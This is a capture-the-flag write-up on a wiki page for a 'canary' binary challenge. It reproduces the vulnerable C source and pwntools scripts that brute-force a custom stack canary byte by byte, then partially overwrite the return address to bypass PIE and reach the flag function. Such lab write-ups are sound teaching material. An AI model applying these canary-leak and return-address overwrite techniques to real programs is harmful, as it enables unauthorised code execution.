Skip to content
cheaterdxd edited this page Oct 18, 2019 · 1 revision

Question

This time we added a canary to detect buffer overflows. Can you still find a way to retreive the flag from this program located in /problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe. Source.

Hints

Maybe there's a smart way to brute-force the canary?

Source code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUF_SIZE 32
#define FLAG_LEN 64
#define KEY_LEN 4

void display_flag() {
  char buf[FLAG_LEN];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }
  fgets(buf,FLAG_LEN,f);
  puts(buf);
  fflush(stdout);
}

char key[KEY_LEN];
void read_canary() {
  FILE *f = fopen("/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe/canary.txt","r");
  if (f == NULL) {
    printf("[ERROR]: Trying to Read Canary\n");
    exit(0);
  }
  fread(key,sizeof(char),KEY_LEN,f);
  fclose(f);
}

void vuln(){
   char canary[KEY_LEN];
   char buf[BUF_SIZE];
   char user_len[BUF_SIZE];

   int count;
   int x = 0;
   memcpy(canary,key,KEY_LEN);
   printf("Please enter the length of the entry:\n> ");

   while (x<BUF_SIZE) {
      read(0,user_len+x,1);
      if (user_len[x]=='\n') break;
      x++;
   }
   sscanf(user_len,"%d",&count);

   printf("Input> ");
   read(0,buf,count);

   if (memcmp(canary,key,KEY_LEN)) {
      printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n");
      exit(-1);
   }
   printf("Ok... Now Where's the Flag?\n");
   fflush(stdout);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  int i;
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  read_canary();
  vuln();

  return 0;
}

Solutions

   while (x<BUF_SIZE) {
      read(0,user_len+x,1);
      if (user_len[x]=='\n') break;
      x++;
   }
   sscanf(user_len,"%d",&count);

   printf("Input> ");
   read(0,buf,count);

This short code above allows you to input the number of characters we want input to buf. Because the length of buf are 32 bytes, so if we input too much, it will cause a buffer overflow.

The idea is overwrite the return address of vuln at ebp+4 , change it to the address of display_flag() function. But if we overwrite the ebp+4, the canary will change too and it make the program exit(-1).

If we want overwrite the ebp+4, we must find a way to bypass the canary or leak the canary. Let see the hint, it say we could brute force the canary in smart way. The canary have 4 characters with ascii code from 1 to 256. If we want brute force 4 bytes in one turn, it will need a long time to finish, so it is not the smart way.

Buf if we just brute 1 byte at a time. We need 32 bytes to come to the canary, the 33th byte will overwrite the first character of canary. If it is same as the secret character of canary, it will not exit and we hold it in a variable (canary=" ") , else it will exit. Continue with next character until the last character also clearly.

Code leak canary

from pwn import *
canary = ''
def leakCanary():
	canary=""
	for i in range(1, 5):
	  for j in range(256):
		s = process('./canary')
		s.sendlineafter('> ', str(32+i))
		s.sendafter('> ', 'a'*32+canary+chr(j))
		output = s.recvline()
		if "*** Stack Smashing Detected *** : Canary Value Corrupt!\n" not in output:
		  canary += chr(j)
		  break
	return canary

After we leak canary, our payload like that:

payload = 'a'*32 + canary + p64(display_flag)

But, the binary enable PIE, so, we don't know the display_flag at run time. Just 1.5 last bytes of address is not change because it is the offset. So we can overwrite with 2 bytes, and we don't know exactly the other 0.5 bytes, so we must brute force it. The address of display_flag is 0x$$$$$7ed, the $$$$$ is always random, so we split it to 2 part '\xed' , '\x$7'. I choose $=8 . So may payload is:

payload = 'a'*32
payload += canary
payload += 'a'*16
payload += '\xed'
payload += '\x87'

Brute pie code:

def solve(canary):
	payload = 'a'*32
	payload += canary
	payload += 'a'*16
	payload += '\xed'
	payload += '\x87'
	while True:
		try:
			s = process("./canary")
			s.sendline('54')
			s.sendline(payload)
			s.interactive()
			s.close()
			break
		except:
			s.close()
Clone this wiki locally